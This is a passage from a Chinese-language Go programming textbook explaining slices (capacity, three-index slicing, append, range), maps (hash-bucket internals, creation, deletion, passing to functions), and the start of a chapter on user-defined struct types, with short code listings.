个元素,而底层数组拥有 5 个元素。剩余的 2 个元素可 以在后期操作中合并到切片,可以通过切片访问这些元素。如果基于这个切片创建新的切片,新 切片会和原有切片共享底层数组,也能通过后期操作来访问多余容量的元素。 不允许创建容量小于长度的切片,如代码清单 4-18 所示。 代码清单 4-18 容量小于长度的切片会在编译时报错 // 创建一个整型切片 // 使其长度大于容量 slice := make([]int, 5, 3) Compiler Error: len larger than cap in make([]int) 另一种常用的创建切片的方法是使用切片字面量,如代码清单 4-19 所示。这种方法和创建 数组类似,只是不需要指定[]运算符里的值。初始的长度和容量会基于初始化时提供的元素的 个数确定。 代码清单 4-19 通过切片字面量来声明切片 // 创建字符串切片 // 其长度和容量都是 5 个元素 slice := []string{"Red", "Blue", "Green", "Yellow", "Pink"} // 创建一个整型切片 // 其长度和容量都是 3 个元素 slice := []int{10, 20, 30} 当使用切片字面量时,可以设置初始长度和容量。要做的就是在初始化时给出所需的长 度和容量作为索引。代码清单 4-20 中的语法展示了如何创建长度和容量都是 100 个元素的 切片。 代码清单 4-20 使用索引声明切片 // 创建字符串切片 // 使用空字符串初始化第 100 个元素 slice := []string{99: ""} 记住,如果在[]运算符里指定了一个值,那么创建的就是数组而不是切片。只有不指定值 的时候,才会创建切片,如代码清单 4-21 所示。 代码清单 4-21 声明数组和声明切片的不同 // 创建有 3 个元素的整型数组 array := [3]int{10, 20, 30} // 创建长度和容量都是 3 的整型切片 slice := []int{10, 20, 30} 2.nil 和空切片 有时,程序可能需要声明一个值为 nil 的切片(也称 nil 切片)。只要在声明时不做任何初 始化,就会创建一个 nil 切片,如代码清单 4-22 所示。 代码清单 4-22 创建 nil 切片 // 创建 nil 整型切片 var slice []int 在 Go 语言里,nil 切片是很常见的创建切片的方法。nil 切片可以用于很多标准库和内置 函数。在需要描述一个不存在的切片时,nil 切片会很好用。例如,函数要求返回一个切片但是 发生异常的时候(见图 4-10)。 图 4-10 nil 切片的表示 利用初始化,通过声明一个切片可以创建一个空切片,如代码清单 4-23 所示。 代码清单 4-23 声明空切片 // 使用 make 创建空的整型切片 slice := make([]int, 0) // 使用切片字面量创建空的整型切片 slice := []int{} 空切片在底层数组包含 0 个元素,也没有分配任何存储空间。想表示空集合时空切片很有用, 例如,数据库查询返回 0 个查询结果时(见图 4-11)。 图 4-11 空切片的表示 不管是使用 nil 切片还是空切片,对其调用内置函数 append、len 和 cap 的效果都是 一样的。 4.2.3 使用切片 现在知道了什么是切片,也知道如何创建切片,来看看如何在程序里使用切片。 1.赋值和切片 对切片里某个索引指向的元素赋值和对数组里某个索引指向的元素赋值的方法完全一样。使 用[]操作符就可以改变某个元素的值,如代码清单 4-24 所示。 代码清单 4-24 使用切片字面量来声明切片 // 创建一个整型切片 // 其容量和长度都是 5 个元素 slice := []int{10, 20, 30, 40, 50} // 改变索引为 1 的元素的值 slice[1] = 25 切片之所以被称为切片,是因为创建一个新的切片就是把底层数组切出一部分,如代码清 单 4-25 所示。 代码清单 4-25 使用切片创建切片 // 创建一个整型切片 // 其长度和容量都是 5 个元素 slice := []int{10, 20, 30, 40, 50} // 创建一个新切片 // 其长度为 2 个元素,容量为 4 个元素 newSlice := slice[1:3] 执行完代码清单 4-25 中的切片动作后,我们有了两个切片,它们共享同一段底层数组,但 通过不同的切片会看到底层数组的不同部分(见图 4-12)。 图 4-12 共享同一底层数组的两个切片 第一个切片 slice 能够看到底层数组全部 5 个元素的容量,不过之后的 newSlice 就看不 到。对于 newSlice,底层数组的容量只有 4 个元素。newSlice 无法访问到它所指向的底层数 组的第一个元素之前的部分。所以,对 newSlice 来说,之前的那些元素就是不存在的。 使用代码清单 4-26 所示的公式,可以计算出任意切片的长度和容量。 代码清单 4-26 如何计算长度和容量 对底层数组容量是 k 的切片 slice[i:j]来说 长度: j - i 容量: k - i 对 newSlice 应用这个公式就能得到代码清单 4-27 所示的数字。 代码清单 4-27 计算新的长度和容量 对底层数组容量是 5 的切片 slice[1:3]来说 长度: 3 - 1 = 2 容量: 5 - 1 = 4 可以用另一种方法来描述这几个值。第一个值表示新切片开始的元素的索引位置,这个例子 中是 1。第二个值表示开始的索引位置(1),加上希望包含的元素的个数(2),1+2 的结果是 3, 所以第二个值就是 3。容量是该与切片相关联的所有元素的数量。 需要记住的是,现在两个切片共享同一个底层数组。如果一个切片修改了该底层数组的共享 部分,另一个切片也能感知到,如代码清单 4-28 所示。 代码清单 4-28 修改切片内容可能导致的结果 // 创建一个整型切片 // 其长度和容量都是 5 个元素 slice := []int{10, 20, 30, 40, 50} // 创建一个新切片 // 其长度是 2 个元素,容量是 4 个元素 newSlice := slice[1:3] // 修改 newSlice 索引为 1 的元素 // 同时也修改了原来的 slice 的索引为 2 的元素 newSlice[1] = 35 把 35 赋值给 newSlice 的第二个元素(索引为 1 的元素)的同时也是在修改原来的 slice 的第 3 个元素(索引为 2 的元素)(见图 4-13)。 切片只能访问到其长度内的元素。试图访问超出其长度的元素将会导致语言运行时异常,如 代码清单 4-29 所示。与切片的容量相关联的元素只能用于增长切片。在使用这部分元素前,必须 将其合并到切片的长度里。 图 4-13 赋值操作之后的底层数组 代码清单 4-29 表示索引越界的语言运行时错误 // 创建一个整型切片 // 其长度和容量都是 5 个元素 slice := []int{10, 20, 30, 40, 50} // 创建一个新切片 // 其长度为 2 个元素,容量为 4 个元素 newSlice := slice[1:3] // 修改 newSlice 索引为 3 的元素 // 这个元素对于 newSlice 来说并不存在 newSlice[3] = 45 Runtime Exception: panic: runtime error: index out of range 切片有额外的容量是很好,但是如果不能把这些容量合并到切片的长度里,这些容量就没有 用处。好在可以用 Go 语言的内置函数 append 来做这种合并很容易。 2.切片增长 相对于数组而言,使用切片的一个好处是,可以按需增加切片的容量。Go 语言内置的 append 函数会处理增加长度时的所有操作细节。 要使用 append,需要一个被操作的切片和一个要追加的值,如代码清单 4-30 所示。当 append 调用返回时,会返回一个包含修改结果的新切片。函数 append 总是会增加新切片的长 度,而容量有可能会改变,也可能不会改变,这取决于被操作的切片的可用容量。 代码清单 4-30 使用 append 向切片增加元素 // 创建一个整型切片 // 其长度和容量都是 5 个元素 slice := []int{10, 20, 30, 40, 50} // 创建一个新切片 // 其长度为 2 个元素,容量为 4 个元素 newSlice := slice[1:3] // 使用原有的容量来分配一个新元素 // 将新元素赋值为 60 newSlice = append(newSlice, 60) 当代码清单 4-30 中的 append 操作完成后,两个切片和底层数组的布局如图 4-14 所示。 图 4-14 append 操作之后的底层数组 因为 newSlice 在底层数组里还有额外的容量可用,append 操作将可用的元素合并到切片 的长度,并对其进行赋值。由于和原始的 slice 共享同一个底层数组,slice 中索引为 3 的元 素的值也被改动了。 如果切片的底层数组没有足够的可用容量,append 函数会创建一个新的底层数组,将被引 用的现有的值复制到新数组里,再追加新的值,如代码清单 4-31 所示。 代码清单 4-31 使用 append 同时增加切片的长度和容量 // 创建一个整型切片 // 其长度和容量都是 4 个元素 slice := []int{10, 20, 30, 40} // 向切片追加一个新元素 // 将新元素赋值为 50 newSlice := append(slice, 50) 当这个 append 操作完成后,newSlice 拥有一个全新的底层数组,这个数组的容量是原来 的两倍(见图 4-15)。 图 4-15 append 操作之后的新的底层数组 函数 append 会智能地处理底层数组的容量增长。在切片的容量小于 1000 个元素时,总是 会成倍地增加容量。一旦元素个数超过 1000,容量的增长因子会设为 1.25,也就是会每次增加 25% 的容量。随着语言的演化,这种增长算法可能会有所改变。 3.创建切片时的 3 个索引 在创建切片时,还可以使用之前我们没有提及的第三个索引选项。第三个索引可以用来控制 新切片的容量。其目的并不是要增加容量,而是要限制容量。可以看到,允许限制新切片的容量 为底层数组提供了一定的保护,可以更好地控制追加操作。 让我们看看一个包含 5 个元素的字符串切片。这个切片包含了本地超市能找到的水果名字, 如代码清单 4-32 所示。 代码清单 4-32 使用切片字面量声明一个字符串切片 // 创建字符串切片 // 其长度和容量都是 5 个元素 source := []string{"Apple", "Orange", "Plum", "Banana", "Grape"} 如果查看这个包含水果的切片的值,就像图 4-16 所展示的样子。 图 4-16 字符串切片的表示 现在,让我们试着用第三个索引选项来完成切片操作,如代码清单 4-33 所示。 代码清单 4-33 使用 3 个索引创建切片 // 将第三个元素切片,并限制容量 // 其长度为 1 个元素,容量为 2 个元素 slice := source[2:3:4] 这个切片操作执行后,新切片里从底层数组引用了 1 个元素,容量是 2 个元素。具体来说, 新切片引用了 Plum 元素,并将容量扩展到 Banana 元素,如图 4-17 所示。 图 4-17 操作之后的新切片的表示 我们可以应用之前定义的公式来计算新切片的长度和容量,如代码清单 4-34 所示。 代码清单 4-34 如何计算长度和容量 对于 slice[i:j:k] 或 [2:3:4] 长度: j – i 或 3 - 2 = 1 容量: k – i 或 4 - 2 = 2 和之前一样,第一个值表示新切片开始的元素的索引位置,这个例子中是 2。第二个值表示 开始的索引位置(2)加上希望包括的元素的个数(1),2+1 的结果是 3,所以第二个值就是 3。为 了设置容量,从索引位置 2 开始,加上希望容量中包含的元素的个数(2),就得到了第三个值 4。 如果试图设置的容量比可用的容量还大,就会得到一个语言运行时错误,如代码清单 4-35 所示。 代码清单 4-35 设置容量大于已有容量的语言运行时错误 // 这个切片操作试图设置容量为 4 // 这比可用的容量大 slice := source[2:3:6] Runtime Error: panic: runtime error: slice bounds out of range 我们之前讨论过,内置函数 append 会首先使用可用容量。一旦没有可用容量,会分配一个 新的底层数组。这导致很容易忘记切片间正在共享同一个底层数组。一旦发生这种情况,对切片 进行修改,很可能会导致随机且奇怪的问题。对切片内容的修改会影响多个切片,却很难找到问 题的原因。 如果在创建切片时设置切片的容量和长度一样,就可以强制让新切片的第一个 append 操作 创建新的底层数组,与原有的底层数组分离。新切片与原有的底层数组分离后,可以安全地进行 后续修改,如代码清单 4-36 所示。 代码清单 4-36 设置长度和容量一样的好处 // 创建字符串切片 // 其长度和容量都是 5 个元素 source := []string{"Apple", "Orange", "Plum", "Banana", "Grape"} // 对第三个元素做切片,并限制容量 // 其长度和容量都是 1 个元素 slice := source[2:3:3] // 向 slice 追加新字符串 slice = append(slice, "Kiwi") 如果不加第三个索引,由于剩余的所有容量都属于 slice,向 slice 追加 Kiwi 会改变 原有底层数组索引为 3 的元素的值 Banana。不过在代码清单 4-36 中我们限制了 slice 的容 量为 1。当我们第一次对 slice 调用 append 的时候,会创建一个新的底层数组,这个数组包 括 2 个元素,并将水果 Plum 复制进来,再追加新水果 Kiwi,并返回一个引用了这个底层数组 的新切片,如图 4-18 所示。 因为新的切片 slice 拥有了自己的底层数组,所以杜绝了可能发生的问题。我们可以继续 向新切片里追加水果,而不用担心会不小心修改了其他切片里的水果。同时,也保持了为切片申 请新的底层数组的简洁。 图 4-18 append 操作之后的新切片的表示 内置函数 append 也是一个可变参数的函数。这意味着可以在一次调用传递多个追加的值。 如果使用...运算符,可以将一个切片的所有元素追加到另一个切片里,如代码清单 4-37 所示。 代码清单 4-37 将一个切片追加到另一个切片 // 创建两个切片,并分别用两个整数进行初始化 s1 := []int{1, 2} s2 := []int{3, 4} // 将两个切片追加在一起,并显示结果 fmt.Printf("%v\n", append(s1, s2...)) Output: [1 2 3 4] 就像通过输出看到的那样,切片 s2 里的所有值都追加到了切片 s1 的后面。使用 Printf 时用来显示 append 函数返回的新切片的值。 4.迭代切片 既然切片是一个集合,可以迭代其中的元素。Go 语言有个特殊的关键字 range,它可以配 合关键字 for 来迭代切片里的元素,如代码清单 4-38 所示。 代码清单 4-38 使用 for range 迭代切片 // 创建一个整型切片 // 其长度和容量都是 4 个元素 slice := []int{10, 20, 30, 40} // 迭代每一个元素,并显示其值 for index, value := range slice { fmt.Printf("Index: %d Value: %d\n", index, value) } Output: Index: 0 Value: 10 Index: 1 Value: 20 Index: 2 Value: 30 Index: 3 Value: 40 当迭代切片时,关键字 range 会返回两个值。第一个值是当前迭代到的索引位置,第二个 值是该位置对应元素值的一份副本(见图 4-19)。 图 4-19 使用 range 迭代切片会创建每个元素的副本 需要强调的是,range 创建了每个元素的副本,而不是直接返回对该元素的引用,如代码 清单 4-39 所示。如果使用该值变量的地址作为指向每个元素的指针,就会造成错误。让我们看看 是为什么。 代码清单 4-39 range 提供了每个元素的副本 // 创建一个整型切片 // 其长度和容量都是 4 个元素 slice := []int{10, 20, 30, 40} // 迭代每个元素,并显示值和地址 for index, value := range slice { fmt.Printf("Value: %d Value-Addr: %X ElemAddr: %X\n", value, &value, &slice[index]) } Output: Value: 10 Value-Addr: 10500168 ElemAddr: 1052E100 Value: 20 Value-Addr: 10500168 ElemAddr: 1052E104 Value: 30 Value-Addr: 10500168 ElemAddr: 1052E108 Value: 40 Value-Addr: 10500168 ElemAddr: 1052E10C 因为迭代返回的变量是一个迭代过程中根据切片依次赋值的新变量,所以 value 的地址总 是相同的。要想获取每个元素的地址,可以使用切片变量和索引值。 如果不需要索引值,可以使用占位字符来忽略这个值,如代码清单 4-40 所示。 代码清单 4-40 使用空白标识符(下划线)来忽略索引值 // 创建一个整型切片 // 其长度和容量都是 4 个元素 slice := []int{10, 20, 30, 40} // 迭代每个元素,并显示其值 for _, value := range slice { fmt.Printf("Value: %d\n", value) } Output: Value: 10 Value: 20 Value: 30 Value: 40 关键字 range 总是会从切片头部开始迭代。如果想对迭代做更多的控制,依旧可以使用传 统的 for 循环,如代码清单 4-41 所示。 代码清单 4-41 使用传统的 for 循环对切片进行迭代 // 创建一个整型切片 // 其长度和容量都是 4 个元素 slice := []int{10, 20, 30, 40} // 从第三个元素开始迭代每个元素 for index := 2; index < len(slice); index++ { fmt.Printf("Index: %d Value: %d\n", index, slice[index]) } Output: Index: 2 Value: 30 Index: 3 Value: 40 有两个特殊的内置函数 len 和 cap,可以用于处理数组、切片和通道。对于切片,函数 len 返回切片的长度,函数 cap 返回切片的容量。在代码清单 4-41 里,我们使用函数 len 来决定什 么时候停止对切片的迭代。 现在知道了如何创建和使用切片。可以组合多个切片成为多维切片,并对其进行迭代。 4.2.4 多维切片 和数组一样,切片是一维的。不过,和之前对数组的讨论一样,可以组合多个切片形成多维 切片,如代码清单 4-42 所示。 代码清单 4-42 声明多维切片 // 创建一个整型切片的切片 slice := [][]int{{10}, {100, 200}} 我们有了一个包含两个元素的外层切片,每个元素包含一个内层的整型切片。切片 slice 的值看起来像图 4-20 展示的样子。 图 4-20 整型切片的切片的值 在图 4-20 里,可以看到组合切片的操作是如何将一个切片嵌入到另一个切片中的。外层的 切片包括两个元素,每个元素都是一个切片。第一个元素中的切片使用单个整数 10 来初始化, 第二个元素中的切片包括两个整数,即 100 和 200。 这种组合可以让用户创建非常复杂且强大的数据结构。已经学过的关于内置函数 append 的规则也可以应用到组合后的切片上,如代码清单 4-43 所示。 代码清单 4-43 组合切片的切片 // 创建一个整型切片的切片 slice := [][]int{{10}, {100, 200}} // 为第一个切片追加值为 20 的元素 slice[0] = append(slice[0], 20) Go 语言里使用 append 函数处理追加的方式很简明:先增长切片,再将新的整型切片赋值 给外层切片的第一个元素。当代码清单 4-43 中的操作完成后,会为新的整型切片分配新的底层数 组,然后将切片复制到外层切片的索引为 0 的元素,如图 4-21 所示。 图 4-21 append 操作之后外层切片索引为 0 的元素的布局 即便是这么简单的多维切片,操作时也会涉及众多布局和值。看起来在函数间像这样传递数 据结构也会很复杂。不过切片本身结构很简单,可以以很小的成本在函数间传递。 4.2.5 在函数间传递切片 在函数间传递切片就是要在函数间以值的方式传递切片。由于切片的尺寸很小,在函数间复 制和传递切片成本也很低。让我们创建一个大切片,并将这个切片以值的方式传递给函数 foo, 如代码清单 4-44 所示。 代码清单 4-44 在函数间传递切片 // 分配包含 100 万个整型值的切片 slice := make([]int, 1e6) // 将 slice 传递到函数 foo slice = foo(slice) // 函数 foo 接收一个整型切片,并返回这个切片 func foo(slice []int) []int { ... return slice } 在 64 位架构的机器上,一个切片需要 24 字节的内存:指针字段需要 8 字节,长度和容量 字段分别需要 8 字节。由于与切片关联的数据包含在底层数组里,不属于切片本身,所以将切片 复制到任意函数的时候,对底层数组大小都不会有影响。复制时只会复制切片本身,不会涉及底 层数组(见图 4-22)。 图 4-22 函数调用之后两个切片指向同一个底层数组 在函数间传递 24 字节的数据会非常快速、简单。这也是切片效率高的地方。不需要传递指 针和处理复杂的语法,只需要复制切片,按想要的方式修改数据,然后传递回一份新的切片副本。 4.3 映射的内部实现和基础功能 映射是一种数据结构,用于存储一系列无序的键值对。 映射里基于键来存储值。图 4-23 通过一个例子展示了映射里键值对是如何存储的。映射功 能强大的地方是,能够基于键快速检索数据。键就像索引一样,指向与该键关联的值。 图 4-23 键值对的关系 4.3.1 内部实现 映射是一个集合,可以使用类似处理数组和切片的方式迭代映射中的元素。但映射是无序的 集合,意味着没有办法预测键值对被返回的顺序。即便使用同样的顺序保存键值对,每次迭代映 射的时候顺序也可能不一样。无序的原因是映射的实现使用了散列表,见图 4-24。 图 4-24 映射的内部结构的简单表示 映射的散列表包含一组桶。在存储、删除或者查找键值对的时候,所有操作都要先选择一个 桶。把操作映射时指定的键传给映射的散列函数,就能选中对应的桶。这个散列函数的目的是生 成一个索引,这个索引最终将键值对分布到所有可用的桶里。 随着映射存储的增加,索引分布越均匀,访问键值对的速度就越快。如果你在映射里存储了 10 000 个元素,你不希望每次查找都要访问 10 000 个键值对才能找到需要的元素,你希望查找 键值对的次数越少越好。对于有 10 000 个元素的映射,每次查找只需要查找 8 个键值对才是一 个分布得比较好的映射。映射通过合理数量的桶来平衡键值对的分布。 Go 语言的映射生成散列键的过程比图 4-25 展示的过程要稍微长一些,不过大体过程是类似 的。在我们的例子里,键是字符串,代表颜色。这些字符串会转换为一个数值(散列值)。这个 数值落在映射已有桶的序号范围内表示一个可以用于存储的桶的序号。之后,这个数值就被用于 选择桶,用于存储或者查找指定的键值对。对 Go 语言的映射来说,生成的散列键的一部分,具 体来说是低位(LOB),被用来选择桶。 如果再仔细看看图 4-24,就能看出桶的内部实现。映射使用两个数据结构来存储数据。第一 个数据结构是一个数组,内部存储的是用于选择桶的散列键的高八位值。这个数组用于区分每个 键值对要存在哪个桶里。第二个数据结构是一个字节数组,用于存储键值对。该字节数组先依次 存储了这个桶里所有的键,之后依次存储了这个桶里所有的值。实现这种键值对的存储方式目的 在于减少每个桶所需的内存。 图 4-25 简单描述散列函数是如何工作的 映射底层的实现还有很多细节,不过这些细节超出了本书的范畴。创建并使用映射并不需要 了解所有的细节,只要记住一件事:映射是一个存储键值对的无序集合。 4.3.2 创建和初始化 Go 语言中有很多种方法可以创建并初始化映射,可以使用内置的 make 函数(如代码清单 4-45 所示),也可以使用映射字面量。 代码清单 4-45 使用 make 声明映射 // 创建一个映射,键的类型是 string,值的类型是 int dict := make(map[string]int) // 创建一个映射,键和值的类型都是 string // 使用两个键值对初始化映射 dict := map[string]string{"Red": "#da1337", "Orange": "#e95a22"} 创建映射时,更常用的方法是使用映射字面量。映射的初始长度会根据初始化时指定的键值 对的数量来确定。 映射的键可以是任何值。这个值的类型可以是内置的类型,也可以是结构类型,只要这个值 可以使用==运算符做比较。切片、函数以及包含切片的结构类型这些类型由于具有引用语义, 不能作为映射的键,使用这些类型会造成编译错误,如代码清单 4-46 所示。 代码清单 4-46 使用映射字面量声明空映射 // 创建一个映射,使用字符串切片作为映射的键 dict := map[[]string]int{} Compiler Exception: invalid map key type []string 没有任何理由阻止用户使用切片作为映射的值,如代码清单 4-47 所示。这个在使用一个映射 键对应一组数据时,会非常有用。 代码清单 4-47 声明一个存储字符串切片的映射 // 创建一个映射,使用字符串切片作为值 dict := map[int][]string{} 4.3.3 使用映射 键值对赋值给映射,是通过指定适当类型的键并给这个键赋一个值来完成的,如代码清 单 4-48 所示。 代码清单 4-48 为映射赋值 // 创建一个空映射,用来存储颜色以及颜色对应的十六进制代码 colors := map[string]string{} // 将 Red 的代码加入到映射 colors["Red"] = "#da1337" 可以通过声明一个未初始化的映射来创建一个值为 nil 的映射(称为 nil 映射 )。nil 映射 不能用于存储键值对,否则,会产生一个语言运行时错误,如代码清单 4-49 所示。 代码清单 4-49 对 nil 映射赋值时的语言运行时错误 // 通过声明映射创建一个 nil 映射 var colors map[string]string // 将 Red 的代码加入到映射 colors["Red"] = "#da1337" Runtime Error: panic: runtime error: assignment to entry in nil map 测试映射里是否存在某个键是映射的一个重要操作。这个操作允许用户写一些逻辑来确定是 否完成了某个操作或者是否在映射里缓存了特定数据。这个操作也可以用来比较两个映射,来确 定哪些键值对互相匹配,哪些键值对不匹配。 从映射取值时有两个选择。第一个选择是,可以同时获得值,以及一个表示这个键是否存在 的标志,如代码清单 4-50 所示。 代码清单 4-50 从映射获取值并判断键是否存在 // 获取键 Blue 对应的值 value, exists := colors["Blue"] // 这个键存在吗? if exists { fmt.Println(value) } 另一个选择是,只返回键对应的值,然后通过判断这个值是不是零值来确定键是否存在,如 代码清单 4-51 所示。 ① ① 这种方法只能用在映射存储的值都是非零值的情况。——译者注 代码清单 4-51 从映射获取值,并通过该值判断键是否存在 // 获取键 Blue 对应的值 value := colors["Blue"] // 这个键存在吗? if value != "" { fmt.Println(value) } 在 Go 语言里,通过键来索引映射时,即便这个键不存在也总会返回一个值。在这种情况下, 返回的是该值对应的类型的零值。 迭代映射里的所有值和迭代数组或切片一样,使用关键字 range,如代码清单 4-52 所示。 但对映射来说,range 返回的不是索引和值,而是键值对。 代码清单 4-52 使用 range 迭代映射 // 创建一个映射,存储颜色以及颜色对应的十六进制代码 colors := map[string]string{ "AliceBlue": "#f0f8ff", "Coral": "#ff7F50", "DarkGray": "#a9a9a9", "ForestGreen": "#228b22", } // 显示映射里的所有颜色 for key, value := range colors { fmt.Printf("Key: %s Value: %s\n", key, value) } 如果想把一个键值对从映射里删除,就使用内置的 delete 函数,如代码清单 4-53 所示。 代码清单 4-53 从映射中删除一项 // 删除键为 Coral 的键值对 delete(colors, "Coral") // 显示映射里的所有颜色 for key, value := range colors { fmt.Printf("Key: %s Value: %s\n", key, value) } 这次在迭代映射时,颜色 Coral 不会显示在屏幕上。 4.3.4 在函数间传递映射 在函数间传递映射并不会制造出该映射的一个副本。实际上,当传递映射给一个函数,并对 这个映射做了修改时,所有对这个映射的引用都会察觉到这个修改,如代码清单 4-54 所示。 代码清单 4-54 在函数间传递映射 func main() { // 创建一个映射,存储颜色以及颜色对应的十六进制代码 colors := map[string]string{ "AliceBlue": "#f0f8ff", "Coral": "#ff7F50", "DarkGray": "#a9a9a9", "ForestGreen": "#228b22", } // 显示映射里的所有颜色 for key, value := range colors { fmt.Printf("Key: %s Value: %s\n", key, value) } // 调用函数来移除指定的键 removeColor(colors, "Coral") // 显示映射里的所有颜色 for key, value := range colors { fmt.Printf("Key: %s Value: %s\n", key, value) } } // removeColor 将指定映射里的键删除 func removeColor(colors map[string]string, key string) { delete(colors, key) } 如果运行这个程序,会得到代码清单 4-55 所示的输出。 代码清单 4-55 代码清单 4-54 的输出 Key: AliceBlue Value: #F0F8FF Key: Coral Value: #FF7F50 Key: DarkGray Value: #A9A9A9 Key: ForestGreen Value: #228B22 Key: AliceBlue Value: #F0F8FF Key: DarkGray Value: #A9A9A9 Key: ForestGreen Value: #228B22 可以看到,在调用了 removeColor 之后,main 函数里引用的映射中不再有 Coral 颜色 了。这个特性和切片类似,保证可以用很小的成本来复制映射。 4.4 小结 数组是构造切片和映射的基石。 Go 语言里切片经常用来处理数据的集合,映射用来处理具有键值对结构的数据。 内置函数 make 可以创建切片和映射,并指定原始的长度和容量。也可以直接使用切片 和映射字面量,或者使用字面量作为变量的初始值。 切片有容量限制,不过可以使用内置的 append 函数扩展容量。 映射的增长没有容量或者任何限制。 内置函数 len 可以用来获取切片或者映射的长度。 内置函数 cap 只能用于切片。 通过组合,可以创建多维数组和多维切片。也可以使用切片或者其他映射作为映射的值。 但是切片不能用作映射的键。 将切片或者映射传递给函数成本很小,并且不会复制底层的数据结构。 第 5 章 Go 语言的类型系统 本章主要内容  声明新的用户定义的类型  使用方法,为类型增加新的行为  了解何时使用指针,何时使用值  通过接口实现多态  通过组合来扩展或改变类型  公开或者未公开的标识符 Go 语言是一种静态类型的编程语言。这意味着,编译器需要在编译时知晓程序里每个值的 类型。如果提前知道类型信息,编译器就可以确保程序合理地使用值。这有助于减少潜在的内存 异常和 bug,并且使编译器有机会对代码进行一些性能优化,提高执行效率。 值的类型给编译器提供两部分信息:第一部分,需要分配多少内存给这个值(即值的规模); 第二部分,这段内存表示什么。对于许多内置类型的情况来说,规模和表示是类型名的一部分。 int64 类型的值需要 8 字节(64 位),表示一个整数值;float32 类型的值需要 4 字节(32 位), 表示一个 IEEE-754 定义的二进制浮点数;bool 类型的值需要 1 字节(8 位),表示布尔值 true 和 false。 有些类型的内部表示与编译代码的机器的体系结构有关。例如,根据编译所在的机器的体系 结构,一个 int 值的大小可能是 8 字节(64 位),也可能是 4 字节(32 位)。还有一些与体系结 构相关的类型,如 Go 语言里的所有引用类型。好在创建和使用这些类型的值的时候,不需要了 解这些与体系结构相关的信息。但是,如果编译器不知道这些信息,就无法阻止用户做一些导致 程序受损甚至机器故障的事情。 5.1 用户定义的类型 Go 语言允许用户定义类型。当用户声明一个新类型时,这个声明就给编译器提供了一个框 5 第 5 章 Go 语言的类型系统 架,告知必要的内存大小和表示信息。声明后的类型与内置类型的运作方式类似。Go 语言里声 明用户定义的类型有两种方法。最常用的方法是使用关键字 struct,它可以让用户创建一个结 构类型。 结构类型通过组合一系列固定且唯一的字段来声明,如代码清单 5-1 所示。结构里每个字段 都会用一个已知类型声明。这个已知类型可以是内置类型,也可以是其他用户定义的类型。 代码清单 5-1 声明一个结构类型 01 // user 在程序里定义一个用户类型 02 type user struct { 03 name string 04 email string 05 ext int 06 privileged bool 07 } 在代码清单 5-1 中,可以看到一个结构类型的声明。这个声明以关键字 type 开始,之后是 新类型的名字,最后是关键字 struct。这个结构类型有 4 个字段,每个字段都基于一个内置类 型。读者可以看到这些字段是如何组合成一个数据的结构的。一旦声明了类型(如代码清单 5-2 所示),就可以使用这个类型创建值。 代码清单 5-2 使用结构类型声明变量,并初始化为其零值 09 // 声明 user 类型的变量 10 var bill user 在代码清单 5-2 的第 10 行,关键字 var 创建了类型为 user 且名为 bill 的变量。当声明 变量时,这个变量对应的值总是会被初始化。这个值要么用指定的值初始化,要么用零值(即变 量类型的默认值)做初始化。对数值类型来说,零值是 0;对字符串来说,零值是空字符串;对 布尔类型,零值是 false。对这个例子里的结构,结构里每个字段都会用零值初始化。 任何时候,创建一个变量并初始化为其零值,习惯是使用关键字 var。这种用法是为了更明 确地表示一个变量被设置为零值。如果变量被初始化为某个非零值,就配合结构字面量和短变量 声明操作符来创建变量。 代码清单 5-3 展示了如何声明一个 user 类型的变量,并使用某个非零值作为初始值。在第 13 行,我们首先给出了一个变量名,之后是短变量声明操作符。这个操作符是冒号加一个等号 (:=)。一个短变量声明操作符在一次操作中完成两件事情:声明一个变量,并初始化。短变量 声明操作符会使用右侧给出的类型信息作为声明变量的类型。 代码清单 5-3 使用结构字面量来声明一个结构类型的变量 12 // 声明 user 类型的变量,并初始化所有字段 13 lisa := user{ 14 name: "Lisa", 15 email: "[email protected]", 16 ext: 123, 17 privileged: true, 18 } 既然要创建并初始化一个结构类型,我们就使用结构字面量来完成这个初始化,如代码清 单 5-4 所示。结构字面量使用一对大括号括住内部字段的初始值。 代码清单 5-4 使用结构字面量创建结构类型的值 13 user{ 14 name: "Lisa", 15 email: "[email protected]", 16 ext: 123, 17 privileged: true, 18 } 结构字面量可以对结构类型采用两种形式。代码清单 5-4 中使用了第一种形式,这种形式在 不同行声明每个字段的名字以及对应的值。字段名与值用冒号分隔,每一行以逗号结尾。这种形 式对字段的声明顺序没有要求。第二种形式没有字段名,只声明对应的值,如代码清单 5-5 所示。 代码清单 5-5 不使用字段名,创建结构类型的值 12 // 声明 user 类型的变量 13 lisa := user{"Lisa", "[email protected]", 123, true} 每个值也可以分别占一行,不过习惯上这种形式会写在一行里,结尾不需要逗号。这种形式 下,值的顺序很重要,必须要和结构声明中字段的顺序一致。当声明结构类型时,字段的类型并 不限制在内置类型,也可以使用其他用户定义的类型,如代码清单 5-6 所示。 代码清单 5-6 使用其他结构类型声明字段 20 // admin 需要一个 user 类型作为管理者,并附加权限 21 type admin struct { 22 person user 23 level string 24 } 代码清单 5-6 展示了一个名为 admin 的新结构类型。这个结构类型有一个名为 person 的 user 类型的字段,还声明了一个名为 level 的 string 字段。当创建具有 person 这种字段 的结构类型的变量时,初始化用的结构字面量会有一些变化,如代码清单 5-7 所示。 代码清单 5-7 使用结构字面量来创建字段的值 26 // 声明 admin 类型的变量 27 fred := admin{ 28 person: user{ 29 name: "Lisa", 30 email: "[email protected]", 31 ext: 123, 32 privileged: true, 33 }, 34 level: "super", 35 } 为了初始化 person 字段,我们需要创建一个 user 类型的值。代码清单 5-7 的第 28 行就 是在创建这个值。这行代码使用结构字面量的形式创建了一个 user 类型的值,并赋给了 person 字段。 另一种声明用户定义的类型的方法是,基于一个已有的类型,将其作为新类型的类型说明。 当需要一个可以用已有类型表示的新类型的时候,这种方法会非常好用,如代码清单 5-8 所示。 标准库使用这种声明类型的方法,从内置类型创建出很多更加明确的类型,并赋予更高级的功能。 代码清单 5-8 基于 int64 声明一个新类型 type Duration int64 代码清单 5-8 展示的是标准库的 time 包里的一个类型的声明。Duration 是一种描述时间 间隔的类型,单位是纳秒(ns)。这个类型使用内置的 int64 类型作为其表示。在 Duration 类型的声明中,我们把 int64 类型叫作 Duration 的基础类型。不过,虽然 int64 是基础 类型,Go 并不认为 Duration 和 int64 是同一种类型。这两个类型是完全不同的有区别的 类型。 为了更好地展示这种区别,来看一下代码清单 5-9 所示的小程序。这个程序本身无法通过 编译。 代码清单 5-9 给不同类型的变量赋值会产生编译错误 01 package main 02 03 type Duration int64 04 05 func main() { 06 var dur Duration 07 dur = int64(1000) 08 } 代码清单 5-9 